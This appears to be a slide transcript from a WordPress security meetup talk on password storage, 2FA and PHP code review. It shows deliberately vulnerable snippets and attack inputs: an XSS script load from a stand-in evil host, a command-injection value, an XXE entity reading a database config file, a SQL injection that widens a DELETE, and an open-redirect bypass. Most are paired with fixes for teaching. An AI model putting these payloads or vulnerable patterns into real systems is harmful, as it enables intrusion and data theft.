wordpress security @ vienna wordpress + drupal meetup
TRANSCRIPT
● Hardware
● Internet
● Servers
● Passwords and Private Keys
● Plugins & Themes
● Our code
● Meatware
It's not about WordPress
● 30%+ of the services use plain texthttp://plaintextoffenders.com/about/
● Phishing, Social Engineering, Brute Force, MITM, keyloggers, human errors, password databases
Passwords
'my secret password' ->
● phpass:
● $P$BXT7cDEtQXkAVarv7mh8WZux1euzwI/
md5:
● a7303f3eee5f3ff1942bfbb1797ea0af
Storing Passwords
● Use strong hashing algorythms. Phpass is ok, md5 is not.
● Be careful with logs and emails, they might contain sensitive information
Storing Passwords
2FA
● https://wordpress.org/plugins/two-factor-auth/
● 2FA everything!
Code Review
Reverse Q & A.
Topics covered:
XSS, Open Redirect, XXE, SQL Injection, Remote Code Execution
Cross Site Scripting - XSS
GET ?hi=<script>alert('hi')</script>
<?php
echo $_GET['hi'];
Must be
echo esc_html( $_GET['hi'] );
What's wrong?
<?php
$youtube_widget = $_REQUEST['src'];
?>
<script src="<?php
echo esc_url( $youtube_widget ); ?>">
</script>
XSS
<?php
$youtube_widget = $_REQUEST['src'];
?>
<script src="<?php
echo esc_url( $youtube_widget ); ?>">
</script>
GET ?src=http://my-evil-site.com/hack.js
Let's add validation...
<?php
$src = $_REQUEST['src'];
if ( ! preg_match( '#https?://youtube.com/#', $src ) ) {
die( 'Invalid Source!' );
}
?>
<script src="<?php echo esc_url( $src ); ?>">
</script>
Let's fix it.
<?php
$src = $_REQUEST['src'];
if ( ! preg_match( '!^https?://(www.)?youtube.com/!', $src ) ) {
die( 'Invalid Source!' );
}
?>
<script src="<?php echo esc_url( $src ); ?>">
</script>
?
<?php
$domain = esc_url( $_GET['domain'] );
$user_host = `host $domain`;
echo esc_html( $user_host );
Remote Code Execution
<?php
$domain = esc_url( $_GET['domain'] );
$user_host = `host $domain`;
echo esc_html( $user_host );
What if
$_GET['domain'] = '| echo "hi!"';
Remote Code Execution
● eval();
● assert();
● ``; //backticks
● system()
● create_function()
● preg_replace( '.../e', $_GET )
?
<?php
// @mdawaffe's example
$xml = simplexml_load_file( $uploaded_file );
?>
<h1><?php printf(
"%s Uploaded!",
esc_html( $xml->title )
); ?></h1>
XML External Entity XXE
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE something
[<!ENTITY awesome SYSTEM
"file:///home/www/public_html/db-config.php"
>]
>
<something>
<title>&awesome;</title>
</something>
XML External Entity XXE
Missing:
libxml_disable_entity_loader(true);
Be careful with XML parsers, careless use is associated with many vulnerabilities.
?
<?php
$id = $_GET['id'];
if ( intval( $id ) ) {
$result = $wpdb->query(
"DELETE FROM wp_usermeta WHERE user_id = $id"
);
}
SQL Injection
<?php
$id = $_GET['id'];
if ( intval( $id ) ) {
$result = $wpdb->query(
"DELETE FROM wp_usermeta WHERE user_id = $id"
);
}
$id = '5 or 1 = 1'; ->
DELETE FROM wp_usermeta WHERE user_id = 5 or 1 = 1
SQL Injection
<?php
$id = (int) $_GET['id'];
$result = $wpdb->query( $wpdb->prepare(
"DELETE FROM wp_usermeta WHERE user_id = %d",
$id )
);
Or use $wpdb->delete();
?
<?php
$url = $_GET['url'];
if ( preg_match( '!^https?://[^\.]+\.whatever\.com/.+$!i', $url ) ) {
wp_redirect( $url );
} else {
wp_die( 'hacker :(' );
}
Open Redirect
<?php
// http://3254656436/or.whatever.com/spam
if ( preg_match( '!^https?://[^\.]+\.whatever\.com/.+$!i', $url ) ) {
wp_redirect( $url );
} else {
wp_die( 'hacker :(' );
}